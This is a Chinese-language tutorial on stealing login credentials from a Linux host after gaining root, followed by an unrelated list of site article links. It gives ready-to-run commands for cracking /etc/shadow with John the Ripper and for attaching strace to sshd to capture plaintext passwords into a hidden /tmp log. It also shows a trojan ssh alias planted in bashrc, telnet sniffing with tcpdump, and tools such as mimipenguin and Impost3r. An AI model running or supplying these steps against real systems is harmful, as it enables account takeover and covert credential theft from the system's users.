Linux下登录凭证窃取技巧
当获得一台主机的root权限,我们总是会想办法通过收集各种密码凭证,以便继续扩大战果。Linux下的环境,相对比更纯粹一些,介绍几个比较常见的技巧和工具。
关键词:凭证窃取、口令收集、密码抓取、密码嗅探
01、history记录敏感操作
Linux系统会自动把用户的操作命令记录到历史列表中,当用户在命令行中输入账号、密码进行登录时,将会导致敏感信息泄露。
02、shadow文件破解
shadow用于存储 Linux 系统中用户的密码信息,以一个用例来说明:
root:$1$aXmGMjXX$MGrR.Hquwr7UVMwOGOzJV0::0:99999:7:::
密码域密文由三部分组成,即:idsaltencrypted。当id=1,采用md5进行加密,弱口令容易被破解。
当id为5时,采用SHA256进行加密,id为6时,采用SHA512进行加密,可以通过john进行暴力破解。
wget https://www.openwall.com/john/k/john-1.9.0.tar.gz
tar -zxvf john-1.9.0.tar.gz
make clean linux-x86-64
./john /etc/shadow
03、mimipenguin抓取密码
一款Linux下的密码抓取神器,需要root权限运行,通过转储进程并提取很可能包含明文密码的行来利用内存中的明文凭证,目前支持Kali、Ubnutu等操作系统。
Github地址:
https://github.com/huntergregal/mimipenguin
04、使用Strace收集登录凭证
strace是一个动态跟踪工具,堪比键盘记录器的存在,可用来收集登录凭证。
(1)获取sshd进程明文密码
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
使用正在来匹配用户和密码
# 查找用户名和密码
grep -E 'read(6, ".+\0\0\0\.+"' /tmp/.sshd.log
# 结果形式如下
[pid 2401] 22:34:34 read(6, "10 4root", 9) = 9
[pid 2401] 22:34:34 read(6, "4 16ssh-connection ", 27) = 27
[pid 2401] 22:34:34 read(6, "f 4toor", 9) = 9
(2)收集ssh登陆凭证
# 添加命令别名
vi ~/.bashrc或者/etc/bashrc
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
# 使命令别名立即生效
source ~/.bashrc
通过grep 找到匹配行的后8行,可以根据密码长度调整行数
grep -A 9 'password' .ssh-25Sep091601017212.log
05、tcpdump 抓包分析
抓取数据包进行分析,获取明文账号密码,比如ftp、telnet、http。
tcpdump -i ens33 port 23 -w test.cap
06、全盘搜索敏感信息
全局搜索配置文件、脚本、数据库、日志文件是否有包含密码。
grep -rn "password=" /
07、swap_digger
一个用于自动进行Linux交换分析bash脚本,自动进行交换提取,并搜索Linux用户凭据,Web表单凭据,Web表单电子邮件,HTTP基本身份验证,WiFi SSID和密钥等。
github项目地址:
https://github.com/sevagas/swap_digger
08、Impost3r
一个利用C语言编写,用来窃取linux下各类密码(ssh,su,sudo)的工具。
github项目地址:
https://github.com/ph4ntonn/Impost3r
- (67) 线程的基本协作机制 (上) / 计算机程序的思维逻辑
- 制作Aspose CHM文档的过程记录
- 用python搭建一个校园维基网站(二)—— 可编辑内容的首页的创建
- Django博客教程(四):让 django 完成翻译—迁移数据库模型
- Calendar类中add/set/roll方法的区别
- 如何构建一个分布式爬虫(理论篇)
- Python微型Web框架Bottle源码分析
- VirtualBox相关问题总结
- Java 枚举7常见种用法
- ALI的Tensorflow炼成与GAN科普
- LaTeX内容总结
- (60) 随机读写文件及其应用 - 实现一个简单的KV数据库 / 计算机程序的思维逻辑
- java反射机制
- 突发 |“永恒之蓝”漏洞紧急应对方案
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Redis运维之swap空间
- MySQL组复制(MGR)全解析 Part 4 MGR单主模式部署前准备
- Spring 中的自动装配
- antlr4入门篇
- 定位生产问题时,异常堆栈莫名丢了,何解?
- 一个爬取用户所有微博的爬虫,还能断网续爬那种
- MySQL组复制(MGR)全解析 Part 8 多主模式部署指南
- MySQL组复制(MGR)全解析 Part 9 MGR的要求和限制
- MySQL Galera Cluster全解析 Part 3 状态快照传输(SST)
- 一口气搞懂「文件系统」,就靠这 25 张图了
- Oracle ASM 环境增加控制文件
- 利用注解进行 Spring 开发
- 40张图揭秘,「键入网址发生了什么」
- Spring 代理模式知多少
- 一条SQL引发的“血案”:与SQL优化相关的4个案例